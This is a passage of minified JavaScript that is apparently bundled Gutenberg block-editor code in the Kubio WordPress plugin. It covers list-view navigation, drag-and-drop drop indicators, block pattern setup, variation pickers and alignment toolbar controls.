Object(a.createElement)(a.Fragment,null,Object(a.createElement)(u.Button,{className:H()("block-editor-list-view-block-select-button",n),onClick:r,onKeyDown:function(e){e.keyCode!==oe.ENTER&&e.keyCode!==oe.SPACE||r(e)},ref:t,tabIndex:c,onFocus:i,onDragStart:e=>{e.dataTransfer.clearData(),null==s||s(e)},onDragEnd:d,draggable:b,href:`#block-${o}`,"aria-hidden":!0},Object(a.createElement)(Te,{onClick:l}),Object(a.createElement)(S.a,{icon:null==p?void 0:p.icon,showColors:!0}),Object(a.createElement)(u.__experimentalHStack,{alignment:"center",className:"block-editor-list-view-block-select-button__label-wrapper",justify:"flex-start",spacing:1},Object(a.createElement)("span",{className:"block-editor-list-view-block-select-button__title"},Object(a.createElement)(u.__experimentalTruncate,{ellipsizeMode:"auto"},m)),(null==p?void 0:p.anchor)&&Object(a.createElement)("span",{className:"block-editor-list-view-block-select-button__anchor-wrapper"},Object(a.createElement)(u.__experimentalTruncate,{className:"block-editor-list-view-block-select-button__anchor",ellipsizeMode:"auto"},p.anchor)),f&&Object(a.createElement)("span",{className:"block-editor-list-view-block-select-button__lock"},Object(a.createElement)(M.a,{icon:we.a})))))})),Pe=n(132),Le=Object(a.forwardRef)(((e,t)=>{let{onClick:n,onToggleExpanded:o,block:r,isSelected:l,position:c,siblingBlockCount:s,level:u,isExpanded:d,selectedClientIds:b,...p}=e;const{clientId:m}=r,{blockMovingClientId:f,selectedBlockInBlockEditor:g}=Object(_.useSelect)((e=>{const{hasBlockMovingClientId:t,getSelectedBlockClientId:n}=e(C.a);return{blockMovingClientId:t(),selectedBlockInBlockEditor:n()}}),[m]),h=f&&g===m,v=H()("block-editor-list-view-block-contents",{"is-dropping-before":h}),O=b.includes(m)?b:[m];return Object(a.createElement)(Pe.a,{clientIds:O},(e=>{let{draggable:b,onDragStart:m,onDragEnd:f}=e;return Object(a.createElement)(Me,Object(i.a)({ref:t,className:v,block:r,onClick:n,onToggleExpanded:o,isSelected:l,position:c,siblingBlockCount:s,level:u,draggable:b,onDragStart:m,onDragEnd:f,isExpanded:d},p))}))})),Re=n(180);const Ae=Object(a.createContext)({}),De=()=>Object(a.useContext)(Ae);var Fe=Object(a.memo)((function e(t){let{block:n,isDragged:o,isSelected:r,isBranchSelected:l,selectBlock:c,position:i,level:d,rowCount:b,siblingBlockCount:p,showBlockMovers:m,path:f,isExpanded:g,selectedClientIds:h,preventAnnouncement:v,isSyncedBranch:O}=t;const j=Object(a.useRef)(null),[y,E]=Object(a.useState)(!1),{clientId:S}=n,{isLocked:w,isContentLocked:B,canEdit:I}=Object(Ne.c)(S),x=Object(_.useSelect)((e=>!r&&!!B&&e(C.a).hasSelectedInnerBlock(S,!0)),[B,S,r]),T=!B&&I,N=x||r&&h[0]===S,M=x||r&&h[h.length-1]===S,{toggleBlockHighlight:P}=Object(_.useDispatch)(C.a),L=Object(Be.a)(S),R=Object(_.useSelect)((e=>e(C.a).getBlockName(S)),[S]),A=Object(k.hasBlockSupport)(R,"__experimentalToolbar",!0),D=`list-view-block-select-button__${Object(ke.useInstanceId)(e)}`,F=((e,t,n)=>Object(s.sprintf)(/* translators: 1: The numerical position of the block. 2: The total number of blocks. 3. The level of nesting for the block. */Object(s.__)("Block %1$d of %2$d, Level %3$d","kubio"),e,t,n))(i,p,d);let z=Object(s.__)("Link","kubio");L&&(z=w?Object(s.sprintf)(// translators: %s: The title of the block. This string indicates a link to select the locked block.
Object(s.__)("%s link (locked)","kubio"),L.title):Object(s.sprintf)(// translators: %s: The title of the block. This string indicates a link to select the block.
Object(s.__)("%s link","kubio"),L.title));const V=L?Object(s.sprintf)(// translators: %s: The title of the block.
Object(s.__)("Options for %s block","kubio"),L.title):Object(s.__)("Options","kubio"),{isTreeGridMounted:G,expand:$,collapse:U}=De(),W=m&&p>0,K=H()("block-editor-list-view-block__mover-cell",{"is-visible":y||r}),q=H()("block-editor-list-view-block__menu-cell",{"is-visible":y||N});Object(a.useEffect)((()=>{!G&&r&&j.current.focus()}),[]);const Y=Object(a.useCallback)((()=>{E(!0),P(S,!0)}),[S,E,P]),Q=Object(a.useCallback)((()=>{E(!1),P(S,!1)}),[S,E,P]),X=Object(a.useCallback)((e=>{c(e,S),e.preventDefault()}),[S,c]),Z=Object(a.useCallback)((e=>{c(void 0,e)}),[c]),J=Object(a.useCallback)((e=>{e.preventDefault(),e.stopPropagation(),!0===g?U(S):!1===g&&$(S)}),[S,$,U,g]);let ee;W?ee=2:A||(ee=3);const te=H()({"is-selected":r||x,"is-first-selected":N,"is-last-selected":M,"is-branch-selected":l,"is-synced-branch":O,"is-dragging":o,"has-single-cell":!A,"is-synced":null==L?void 0:L.isSynced}),ne=h.includes(S)?h:[S];return Object(a.createElement)(Se,{className:te,onMouseEnter:Y,onMouseLeave:Q,onFocus:Y,onBlur:Q,level:d,position:i,rowCount:b,path:f,id:`list-view-block-${S}`,"data-block":S,isExpanded:T?g:void 0,"aria-selected":!!r||x},Object(a.createElement)(u.__experimentalTreeGridCell,{className:"block-editor-list-view-block__contents-cell",colSpan:ee,ref:j,"aria-label":z,"aria-selected":!!r||x,"aria-expanded":T?g:void 0,"aria-describedby":D},(e=>{let{ref:t,tabIndex:o,onFocus:l}=e;return Object(a.createElement)("div",{className:"block-editor-list-view-block__contents-container"},Object(a.createElement)(Le,{block:n,onClick:X,onToggleExpanded:J,isSelected:r,position:i,siblingBlockCount:p,level:d,ref:t,tabIndex:o,onFocus:l,isExpanded:g,selectedClientIds:h,preventAnnouncement:v}),Object(a.createElement)("div",{className:"block-editor-list-view-block-select-button__description",id:D},F))})),W&&Object(a.createElement)(a.Fragment,null,Object(a.createElement)(u.__experimentalTreeGridCell,{className:K,withoutGridItem:!0},Object(a.createElement)(u.__experimentalTreeGridItem,null,(e=>{let{ref:t,tabIndex:n,onFocus:o}=e;return Object(a.createElement)(Ce.b,{orientation:"vertical",clientIds:[S],ref:t,tabIndex:n,onFocus:o})})),Object(a.createElement)(u.__experimentalTreeGridItem,null,(e=>{let{ref:t,tabIndex:n,onFocus:o}=e;return Object(a.createElement)(Ce.a,{orientation:"vertical",clientIds:[S],ref:t,tabIndex:n,onFocus:o})})))),A&&Object(a.createElement)(u.__experimentalTreeGridCell,{className:q,"aria-selected":!!r||x},(e=>{let{ref:t,tabIndex:n,onFocus:o}=e;return Object(a.createElement)(Re.a,{clientIds:ne,icon:je.a,label:V,toggleProps:{ref:t,className:"block-editor-list-view-block__menu",tabIndex:n,onFocus:o},disableOpenOnArrowDown:!0,__experimentalSelectBlock:Z})})))}));function ze(e,t,n,o){var r;return(null==n?void 0:n.includes(e.clientId))?0:(null!==(r=t[e.clientId])&&void 0!==r?r:o)?1+e.innerBlocks.reduce(Ve(t,n,o),0):1}const Ve=(e,t,n)=>(o,r)=>{var l;return(null==t?void 0:t.includes(r.clientId))?o:(null!==(l=e[r.clientId])&&void 0!==l?l:n)&&r.innerBlocks.length>0?o+ze(r,e,t,n):o+1},He=()=>{};var Ge=Object(a.memo)((function e(t){const{blocks:n,selectBlock:o=He,showBlockMovers:r,selectedClientIds:l,level:c=1,path:i="",isBranchSelected:s=!1,listPosition:u=0,fixedListWindow:d,isExpanded:b,parentId:p,shouldShowInnerBlocks:m=!0,isSyncedBranch:f=!1}=t,g=Object(Be.a)(p),h=f||!(null==g||!g.isSynced),v=Object(_.useSelect)((e=>{if(!p)return!0;const t="contentOnly"===e(C.a).getTemplateLock(p),n=e(C.a).canEditBlock(p);return!t&&n}),[p]),{expandedState:O,draggedClientIds:k}=De();if(!v)return null;const j=n.filter(Boolean),y=j.length;let E=u;return Object(a.createElement)(a.Fragment,null,j.map(((t,n)=>{var u;const{clientId:p,innerBlocks:f}=t;n>0&&(E+=ze(j[n-1],O,k,b));const{itemInView:g}=d,v=g(E),S=n+1,C=i.length>0?`${i}_${S}`:`${S}`,w=!(null==f||!f.length),B=w&&m?null!==(u=O[p])&&void 0!==u?u:b:void 0,I=!(null==k||!k.includes(p)),x=I||v,T=((e,t)=>Array.isArray(t)&&t.length?-1!==t.indexOf(e):t===e)(p,l),N=s||T&&w;return Object(a.createElement)(_.AsyncModeProvider,{key:p,value:!T},x&&Object(a.createElement)(Fe,{block:t,selectBlock:o,isSelected:T,isBranchSelected:N,isDragged:I,level:c,position:S,rowCount:y,siblingBlockCount:y,showBlockMovers:r,path:C,isExpanded:B,listPosition:E,selectedClientIds:l,isSyncedBranch:h}),!x&&Object(a.createElement)("tr",null,Object(a.createElement)("td",{className:"block-editor-list-view-placeholder"})),w&&B&&!I&&Object(a.createElement)(e,{parentId:p,blocks:f,selectBlock:o,showBlockMovers:r,level:c+1,path:C,listPosition:E+1,fixedListWindow:d,isBranchSelected:N,selectedClientIds:l,isExpanded:b,isSyncedBranch:h}))})))}));function $e(e){let{listViewRef:t,blockDropTarget:n}=e;const{rootClientId:o,clientId:r,dropPosition:l}=n||{},[c,i]=Object(a.useMemo)((()=>t.current?[o?t.current.querySelector(`[data-block="${o}"]`):void 0,r?t.current.querySelector(`[data-block="${r}"]`):void 0]:[]),[o,r]),s=i||c,d=Object(a.useCallback)((()=>{if(!c)return 0;const e=s.getBoundingClientRect();return c.querySelector(".block-editor-block-icon").getBoundingClientRect().right-e.left}),[c,s]),b=Object(a.useMemo)((()=>{if(!s)return{};const e=d();return{width:s.offsetWidth-e}}),[d,s]),p=Object(a.useMemo)((()=>{if(s&&("top"===l||"bottom"===l||"inside"===l))return{ownerDocument:s.ownerDocument,getBoundingClientRect(){const e=s.getBoundingClientRect(),t=d(),n=e.left+t,o=e.right;let r=0,c=0;"top"===l?(r=e.top,c=e.top):(r=e.bottom,c=e.bottom);const i=o-n,a=c-r;return new window.DOMRect(n,r,i,a)}}}),[s,l,d]);return s?Object(a.createElement)(u.Popover,{animate:!1,anchor:p,focusOnMount:!1,className:"block-editor-list-view-drop-indicator",variant:"unstyled"},Object(a.createElement)("div",{style:b,className:"block-editor-list-view-drop-indicator__line"})):null}var Ue=n(63);var We=n(135),Ke=n(173);const qe=["top","bottom"];const Ye=(e,t)=>Array.isArray(t.clientIds)?{...e,...t.clientIds.reduce(((e,n)=>({...e,[n]:"expand"===t.type})),{})}:e;var Qe=Object(a.forwardRef)((function(e,t){let{id:n,blocks:o,showBlockMovers:r=!1,isExpanded:l=!1}=e;const{clientIdsTree:c,draggedClientIds:i,selectedClientIds:d}=function(e){return Object(_.useSelect)((t=>{const{getDraggedBlockClientIds:n,getSelectedBlockClientIds:o,__unstableGetClientIdsTree:r}=t(C.a);return{selectedClientIds:o(),draggedClientIds:n(),clientIdsTree:e||r()}}),[e])}(o),{visibleBlockCount:b,shouldShowInnerBlocks:p}=Object(_.useSelect)((e=>{const{getGlobalBlockCount:t,getClientIdsOfDescendants:n,__unstableGetEditorMode:o}=e(C.a),r=(null==i?void 0:i.length)>0?n(i).length+1:0;return{visibleBlockCount:t()-r,shouldShowInnerBlocks:"zoom-out"!==o()}}),[i]),{updateBlockSelection:m}=function(){const{clearSelectedBlock:e,multiSelect:t,selectBlock:n}=Object(_.useDispatch)(C.a),{getBlockName:o,getBlockParents:r,getBlockSelectionStart:l,getBlockSelectionEnd:c,getSelectedBlockClientIds:i,hasMultiSelection:u,hasSelectedBlock:d}=Object(_.useSelect)(C.a),{getBlockType:b}=Object(_.useSelect)(k.store);return{updateBlockSelection:Object(a.useCallback)((async(c,a,p)=>{if(null==c||!c.shiftKey)return void n(a);c.preventDefault();const m="keydown"===c.type&&(c.keyCode===oe.UP||c.keyCode===oe.DOWN||c.keyCode===oe.HOME||c.keyCode===oe.END);if(!m&&!d()&&!u())return void n(a,null);const f=i(),g=[...r(a),a];m&&!f.some((e=>g.includes(e)))&&await e();let h=l(),v=a;m&&(d()||u()||(h=a),p&&(v=p));const O=r(h),k=r(v),{start:j,end:_}=function(e,t,n,o){const r=[...n,e],l=[...o,t],c=Math.min(r.length,l.length)-1;return{start:r[c],end:l[c]}}(h,v,O,k);await t(j,_,null);const y=i();if((c.keyCode===oe.HOME||c.keyCode===oe.END)&&y.length>1)return;const E=f.filter((e=>!y.includes(e)));let S;if(1===E.length){var C;const e=null===(C=b(o(E[0])))||void 0===C?void 0:C.title;e&&(S=Object(s.sprintf)(/* translators: %s: block name */Object(s.__)("%s deselected.","kubio"),e))}else E.length>1&&(S=Object(s.sprintf)(/* translators: %s: number of deselected blocks */Object(s.__)("%s blocks deselected.","kubio"),E.length));S&&Object(Ue.speak)(S)}),[e,o,b,r,l,c,i,u,d,t,n])}}(),[f,g]=Object(a.useReducer)(Ye,{}),{ref:h,target:v}=function(){const{getBlockRootClientId:e,getBlockIndex:t,getBlockCount:n,getDraggedBlockClientIds:o,canInsertBlocks:r}=Object(_.useSelect)(C.a),[l,c]=Object(a.useState)(),{rootClientId:i,blockIndex:s}=l||{},u=Object(Ke.a)(i,s),d=o(),b=Object(ke.useThrottle)(Object(a.useCallback)(((o,l)=>{const i={x:o.clientX,y:o.clientY},a=!(null==d||!d.length),s=function(e,t){let n,o,r,l;for(const c of e){if(c.isDraggedBlock)continue;const i=c.element.getBoundingClientRect(),[a,s]=Object(We.a)(t,i,qe),u=Object(We.b)(t,i);if(void 0===r||a<r||u){r=a;const t=e.indexOf(c),d=e[t-1];if("top"===s&&d&&d.rootClientId===c.rootClientId&&!d.isDraggedBlock?(o=d,n="bottom",l=d.element.getBoundingClientRect()):(o=c,n=s,l=i),u)break}}if(!o)return;const c="bottom"===n;if(c&&o.canInsertDraggedBlocksAsChild&&(o.innerBlockCount>0||function(e,t){const n=t.left+t.width/2;return e.x>n}(t,l)))return{rootClientId:o.clientId,blockIndex:0,dropPosition:"inside"};if(!o.canInsertDraggedBlocksAsSibling)return;const i=c?1:0;return{rootClientId:o.rootClientId,clientId:o.clientId,blockIndex:o.blockIndex+i,dropPosition:n}}(Array.from(l.querySelectorAll("[data-block]")).map((o=>{const l=o.dataset.block,c=e(l);return{clientId:l,rootClientId:c,blockIndex:t(l),element:o,isDraggedBlock:!!a&&d.includes(l),innerBlockCount:n(l),canInsertDraggedBlocksAsSibling:!a||r(d,c),canInsertDraggedBlocksAsChild:!a||r(d,l)}})),i);s&&c(s)}),[d]),200);return{ref:Object(ke.__experimentalUseDropZone)({onDrop:u,onDragOver(e){b(e,e.currentTarget)},onDragEnd(){b.cancel(),c(null)}}),target:l}}(),O=Object(a.useRef)(),j=Object(ke.useMergeRefs)([O,h,t]),y=Object(a.useRef)(!1),{setSelectedTreeId:E}=function(e){let{firstSelectedBlockClientId:t,setExpandedState:n}=e;const[o,r]=Object(a.useState)(null),{selectedBlockParentClientIds:l}=Object(_.useSelect)((e=>{const{getBlockParents:n}=e(C.a);return{selectedBlockParentClientIds:n(t,!1)}}),[t]),c=Array.isArray(l)&&l.length?l:null;return Object(a.useEffect)((()=>{o!==t&&c&&n({type:"expand",clientIds:l})}),[t]),{setSelectedTreeId:r}}({firstSelectedBlockClientId:d[0],setExpandedState:g}),S=Object(a.useCallback)(((e,t)=>{m(e,t),E(t)}),[E,m]);Object(a.useEffect)((()=>{y.current=!0}),[]);const[w]=Object(ke.__experimentalUseFixedWindowList)(O,36,b,{useWindowing:!0,windowOverscan:40}),B=Object(a.useCallback)((e=>{e&&g({type:"expand",clientIds:[e]})}),[g]),I=Object(a.useCallback)((e=>{e&&g({type:"collapse",clientIds:[e]})}),[g]),x=Object(a.useCallback)((e=>{var t;B(null==e||null===(t=e.dataset)||void 0===t?void 0:t.block)}),[B]),T=Object(a.useCallback)((e=>{var t;I(null==e||null===(t=e.dataset)||void 0===t?void 0:t.block)}),[I]),N=Object(a.useCallback)(((e,t,n)=>{var o,r;e.shiftKey&&m(e,null==t||null===(o=t.dataset)||void 0===o?void 0:o.block,null==n||null===(r=n.dataset)||void 0===r?void 0:r.block)}),[m]),M=Object(a.useMemo)((()=>({isTreeGridMounted:y.current,draggedClientIds:i,expandedState:f,expand:B,collapse:I})),[y.current,i,f,B,I]);return Object(a.createElement)(_.AsyncModeProvider,{value:!0},Object(a.createElement)($e,{listViewRef:O,blockDropTarget:v}),Object(a.createElement)(u.__experimentalTreeGrid,{id:n,className:"block-editor-list-view-tree","aria-label":Object(s.__)("Block navigation structure","kubio"),ref:j,onCollapseRow:T,onExpandRow:x,onFocusRow:N,applicationAriaLabel:Object(s.__)("Block navigation structure","kubio")},Object(a.createElement)(Ae.Provider,{value:M},Object(a.createElement)(Ge,{blocks:c,selectBlock:S,showBlockMovers:r,fixedListWindow:w,selectedClientIds:d,isExpanded:l,shouldShowInnerBlocks:p}))))}));function Xe(e){let{isEnabled:t,onToggle:n,isOpen:o,innerRef:r,...l}=e;return Object(a.createElement)(u.Button,Object(i.a)({},l,{ref:r,icon:Oe.a,"aria-expanded":o,"aria-haspopup":"true",onClick:t?n:void 0/* translators: button label text should, if possible, be under 16 characters. */,label:Object(s.__)("List view","kubio"),className:"block-editor-block-navigation","aria-disabled":!t}))}var Ze=Object(a.forwardRef)((function(e,t){let{isDisabled:n,...o}=e;pe()("wp.blockEditor.BlockNavigationDropdown",{since:"6.1",alternative:"wp.components.Dropdown and wp.blockEditor.ListView"});const r=Object(_.useSelect)((e=>!!e(C.a).getBlockCount()),[])&&!n;return Object(a.createElement)(u.Dropdown,{contentClassName:"block-editor-block-navigation__popover",popoverProps:{placement:"bottom-start"},position:"bottom right",renderToggle:e=>{let{isOpen:n,onToggle:l}=e;return Object(a.createElement)(Xe,Object(i.a)({},o,{innerRef:t,isOpen:n,onToggle:l,isEnabled:r}))},renderContent:()=>Object(a.createElement)("div",{className:"block-editor-block-navigation__container"},Object(a.createElement)("p",{className:"block-editor-block-navigation__label"},Object(s.__)("List view","kubio")),Object(a.createElement)(Qe,null))})})),Je=n(2),et=n(329),tt=n(330),nt=function(e){let{title:t,icon:n,description:o,blockType:r,className:l}=e;r&&(pe()("`blockType` property in `BlockCard component`",{since:"5.7",alternative:"`title, icon and description` properties"}),({title:t,icon:n,description:o}=r));const{parentNavBlockClientId:c}=Object(_.useSelect)((e=>{const{getSelectedBlockClientId:t,getBlockParentsByBlockName:n}=e(C.a);return{parentNavBlockClientId:n(t(),"core/navigation",!0)[0]}}),[]),{selectBlock:i}=Object(_.useDispatch)(C.a);return Object(a.createElement)("div",{className:H()("block-editor-block-card",l)},c&&Object(a.createElement)(u.Button,{onClick:()=>i(c),label:Object(s.__)("Go to parent Navigation block","kubio"),style:{minWidth:24,padding:0},icon:Object(s.isRTL)()?et.a:tt.a,isSmall:!0}),Object(a.createElement)(S.a,{icon:n,showColors:!0}),Object(a.createElement)("div",{className:"block-editor-block-card__content"},Object(a.createElement)("h2",{className:"block-editor-block-card__title"},t),Object(a.createElement)("span",{className:"block-editor-block-card__description"},o)))},ot=n(91),rt=n(134),lt=n(255);function ct(e){let{clientId:t,onSwitch:n=Je.noop,onHoverClassName:o=Je.noop}=e;const{onSelect:r,stylesToRender:l,activeStyle:c,genericPreviewBlock:i,className:d}=Object(lt.a)({clientId:t,onSwitch:n}),[b,p]=Object(a.useState)(null);if(Object(ke.useViewportMatch)("medium","<"),!l||0===l.length)return null;const m=Object(Je.debounce)(p,250),f=e=>{var t;b!==e?(m(e),o(null!==(t=null==e?void 0:e.name)&&void 0!==t?t:null)):m.cancel()};return Object(a.createElement)("div",{className:"block-editor-block-styles"},Object(a.createElement)("div",{className:"block-editor-block-styles__variants"},l.map((e=>{const t=e.isDefault?Object(s.__)("Default","kubio"):e.label||e.name;return Object(a.createElement)(u.Button,{className:H()("block-editor-block-styles__item",{"is-active":c.name===e.name}),key:e.name,variant:"secondary",label:t,onMouseEnter:()=>f(e),onFocus:()=>f(e),onMouseLeave:()=>f(null),onBlur:()=>f(null),onClick:()=>(e=>{r(e),o(null),p(null),m.cancel()})(e),"aria-current":c.name===e.name},Object(a.createElement)(u.__experimentalTruncate,{numberOfLines:1,className:"block-editor-block-styles__item-text"},t))}))))}var it=ct;ct.Slot=()=>(pe()("BlockStyles.Slot",{version:"6.4",since:"6.2"}),null);var at=n(334),st=function(e){let{icon:t=at.a,label:n=Object(s.__)("Choose variation","kubio"),instructions:o=Object(s.__)("Select a variation to start with.","kubio"),variations:r,onSelect:l,allowSkip:c}=e;const i=H()("block-editor-block-variation-picker",{"has-many-variations":r.length>4});return Object(a.createElement)(u.Placeholder,{icon:t,label:n,instructions:o,className:i},Object(a.createElement)("ul",{className:"block-editor-block-variation-picker__variations",role:"list","aria-label":Object(s.__)("Block variations","kubio")},r.map((e=>Object(a.createElement)("li",{key:e.name},Object(a.createElement)(u.Button,{variant:"secondary",icon:e.icon&&e.icon.src?e.icon.src:e.icon,iconSize:48,onClick:()=>l(e),className:"block-editor-block-variation-picker__variation",label:e.description||e.title}),Object(a.createElement)("span",{className:"block-editor-block-variation-picker__variation-label"},e.title))))),c&&Object(a.createElement)("div",{className:"block-editor-block-variation-picker__skip"},Object(a.createElement)(u.Button,{variant:"link",onClick:()=>l()},Object(s.__)("Skip","kubio"))))},ut=n(430);const dt={carousel:"carousel",grid:"grid"},bt=e=>{let{onBlockPatternSelect:t}=e;return Object(a.createElement)("div",{className:"block-editor-block-pattern-setup__actions"},Object(a.createElement)(u.Button,{variant:"primary",onClick:t},Object(s.__)("Choose","kubio")))},pt=e=>{let{handlePrevious:t,handleNext:n,activeSlide:o,totalSlides:r}=e;return Object(a.createElement)("div",{className:"block-editor-block-pattern-setup__navigation"},Object(a.createElement)(u.Button,{icon:tt.a,label:Object(s.__)("Previous pattern","kubio"),onClick:t,disabled:0===o}),Object(a.createElement)(u.Button,{icon:et.a,label:Object(s.__)("Next pattern","kubio"),onClick:n,disabled:o===r-1}))};var mt=e=>{let{viewMode:t,setViewMode:n,handlePrevious:o,handleNext:r,activeSlide:l,totalSlides:c,onBlockPatternSelect:i}=e;const d=t===dt.carousel,b=Object(a.createElement)("div",{className:"block-editor-block-pattern-setup__display-controls"},Object(a.createElement)(u.Button,{icon:Y.a,label:Object(s.__)("Carousel view","kubio"),onClick:()=>n(dt.carousel),isPressed:d}),Object(a.createElement)(u.Button,{icon:ut.a,label:Object(s.__)("Grid view","kubio"),onClick:()=>n(dt.grid),isPressed:t===dt.grid}));return Object(a.createElement)("div",{className:"block-editor-block-pattern-setup__toolbar"},d&&Object(a.createElement)(pt,{handlePrevious:o,handleNext:r,activeSlide:l,totalSlides:c}),b,d&&Object(a.createElement)(bt,{onBlockPatternSelect:i}))};const ft=e=>{let{viewMode:t,activeSlide:n,patterns:o,onBlockPatternSelect:r,showTitles:l}=e;const c=Object(u.__unstableUseCompositeState)(),d="block-editor-block-pattern-setup__container";if(t===dt.carousel){const e=new Map([[n,"active-slide"],[n-1,"previous-slide"],[n+1,"next-slide"]]);return Object(a.createElement)("div",{className:"block-editor-block-pattern-setup__carousel"},Object(a.createElement)("div",{className:d},Object(a.createElement)("ul",{className:"carousel-container"},o.map(((t,n)=>Object(a.createElement)(ht,{className:e.get(n)||"",key:t.name,pattern:t}))))))}return Object(a.createElement)("div",{className:"block-editor-block-pattern-setup__grid"},Object(a.createElement)(u.__unstableComposite,Object(i.a)({},c,{role:"listbox",className:d,"aria-label":Object(s.__)("Patterns list","kubio")}),o.map((e=>Object(a.createElement)(gt,{key:e.name,pattern:e,onSelect:r,composite:c,showTitles:l})))))};function gt(e){let{pattern:t,onSelect:n,composite:o,showTitles:r}=e;const l="block-editor-block-pattern-setup-list",{blocks:c,description:s,viewportWidth:d=700}=t,b=Object(ke.useInstanceId)(gt,`${l}__item-description`);return Object(a.createElement)("div",{className:`${l}__list-item`,"aria-label":t.title,"aria-describedby":t.description?b:void 0},Object(a.createElement)(u.__unstableCompositeItem,Object(i.a)({role:"option",as:"div"},o,{className:`${l}__item`,onClick:()=>n(c)}),Object(a.createElement)(ot.a,{blocks:c,viewportWidth:d}),r&&Object(a.createElement)("div",{className:`${l}__item-title`},t.title),!!s&&Object(a.createElement)(u.VisuallyHidden,{id:b},s)))}function ht(e){let{className:t,pattern:n,minHeight:o}=e;const{blocks:r,title:l,description:c}=n,i=Object(ke.useInstanceId)(ht,"block-editor-block-pattern-setup-list__item-description");return Object(a.createElement)("li",{className:`pattern-slide ${t}`,"aria-label":l,"aria-describedby":c?i:void 0},Object(a.createElement)(ot.a,{blocks:r,minHeight:o}),!!c&&Object(a.createElement)(u.VisuallyHidden,{id:i},c))}var vt=e=>{let{clientId:t,blockName:n,filterPatternsFn:o,onBlockPatternSelect:r,initialViewMode:l=dt.carousel,showTitles:c=!1}=e;const[i,s]=Object(a.useState)(l),[u,d]=Object(a.useState)(0),{replaceBlock:b}=Object(_.useDispatch)(C.a),p=function(e,t,n){return Object(_.useSelect)((o=>{const{getBlockRootClientId:r,getPatternsByBlockTypes:l,__experimentalGetAllowedPatterns:c}=o(C.a),i=r(e);return n?c(i).filter(n):l(t,i)}),[e,t,n])}(t,n,o);if(null==p||!p.length)return null;const m=r||(e=>{const n=e.map((e=>Object(k.cloneBlock)(e)));b(t,n)});return Object(a.createElement)(a.Fragment,null,Object(a.createElement)("div",{className:`block-editor-block-pattern-setup view-mode-${i}`},Object(a.createElement)(ft,{viewMode:i,activeSlide:u,patterns:p,onBlockPatternSelect:m,showTitles:c}),Object(a.createElement)(mt,{viewMode:i,setViewMode:s,activeSlide:u,totalSlides:p.length,handleNext:()=>{d((e=>e+1))},handlePrevious:()=>{d((e=>e-1))},onBlockPatternSelect:()=>{m(p[u].blocks)}})))},Ot=n(331);function kt(e){let{className:t,onSelectVariation:n,selectedValue:o,variations:r}=e;return Object(a.createElement)("fieldset",{className:t},Object(a.createElement)(u.VisuallyHidden,{as:"legend"},Object(s.__)("Transform to variation","kubio")),r.map((e=>Object(a.createElement)(u.Button,{key:e.name,icon:Object(a.createElement)(S.a,{icon:e.icon,showColors:!0}),isPressed:o===e.name,label:o===e.name?e.title:Object(s.sprintf)(/* translators: %s: Name of the block variation */Object(s.__)("Transform to %s","kubio"),e.title),onClick:()=>n(e.name),"aria-label":e.title,showTooltip:!0}))))}function jt(e){let{className:t,onSelectVariation:n,selectedValue:o,variations:r}=e;const l=r.map((e=>{let{name:t,title:n,description:o}=e;return{value:t,label:n,info:o}}));return Object(a.createElement)(u.DropdownMenu,{className:t,label:Object(s.__)("Transform to variation","kubio"),text:Object(s.__)("Transform to variation","kubio"),popoverProps:{position:"bottom center",className:`${t}__popover`},icon:Ot.a,toggleProps:{iconPosition:"right"}},(()=>Object(a.createElement)("div",{className:`${t}__container`},Object(a.createElement)(u.MenuGroup,null,Object(a.createElement)(u.MenuItemsChoice,{choices:l,value:o,onSelect:n})))))}var _t=function(e){let{blockClientId:t}=e;const{updateBlockAttributes:n}=Object(_.useDispatch)(C.a),{activeBlockVariation:o,variations:r}=Object(_.useSelect)((e=>{const{getActiveBlockVariation:n,getBlockVariations:o}=e(k.store),{getBlockName:r,getBlockAttributes:l}=e(C.a),c=t&&r(t);return{activeBlockVariation:n(c,l(t)),variations:c&&o(c,"transform")}}),[t]),l=null==o?void 0:o.name,c=Object(a.useMemo)((()=>{const e=new Set;return!!r&&(r.forEach((t=>{var n;t.icon&&e.add((null===(n=t.icon)||void 0===n?void 0:n.src)||t.icon)})),e.size===r.length)}),[r]);if(null==r||!r.length)return null;const i=c?kt:jt;return Object(a.createElement)(i,{className:"block-editor-block-variation-transforms",onSelectVariation:e=>{n(t,{...r.find((t=>{let{name:n}=t;return n===e})).attributes})},selectedValue:l,variations:r})};const yt=Object(a.createElement)(u.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(u.Path,{d:"M15 4H9v11h6V4zM4 18.5V20h16v-1.5H4z"})),Et=Object(a.createElement)(u.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(u.Path,{d:"M20 11h-5V4H9v7H4v1.5h5V20h6v-7.5h5z"})),St=Object(a.createElement)(u.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(u.Path,{d:"M9 20h6V9H9v11zM4 4v1.5h16V4H4z"})),Ct=Object(a.createElement)(u.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(u.Path,{d:"M4 4L20 4L20 5.5L4 5.5L4 4ZM10 7L14 7L14 17L10 17L10 7ZM20 18.5L4 18.5L4 20L20 20L20 18.5Z"})),wt=Object(a.createElement)(u.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(u.Path,{d:"M7 4H17V8L7 8V4ZM7 16L17 16V20L7 20V16ZM20 11.25H4V12.75H20V11.25Z"})),Bt={top:{icon:St,title:Object(s._x)("Align top","Block vertical alignment setting","kubio")},center:{icon:Et,title:Object(s._x)("Align middle","Block vertical alignment setting","kubio")},bottom:{icon:yt,title:Object(s._x)("Align bottom","Block vertical alignment setting","kubio")},stretch:{icon:Ct,title:Object(s._x)("Stretch to fill","Block vertical alignment setting","kubio")},"space-between":{icon:wt,title:Object(s._x)("Space between","Block vertical alignment setting","kubio")}},It=["top","center","bottom"];var xt=function(e){let{value:t,onChange:n,controls:o=It,isCollapsed:r=!0,isToolbar:l}=e;const c=Bt[t],d=Bt.top,b=l?u.ToolbarGroup:u.ToolbarDropdownMenu,p=l?{isCollapsed:r}:{popoverProps:{variant:"toolbar"}};return Object(a.createElement)(b,Object(i.a)({icon:c?c.icon:d.icon,label:Object(s._x)("Change vertical alignment","Block vertical alignment setting label","kubio"),controls:o.map((e=>{return{...Bt[e],isActive:t===e,role:r?"menuitemradio":void 0,onClick:(o=e,()=>n(t===o?void 0:o))};var o}))},p))};const 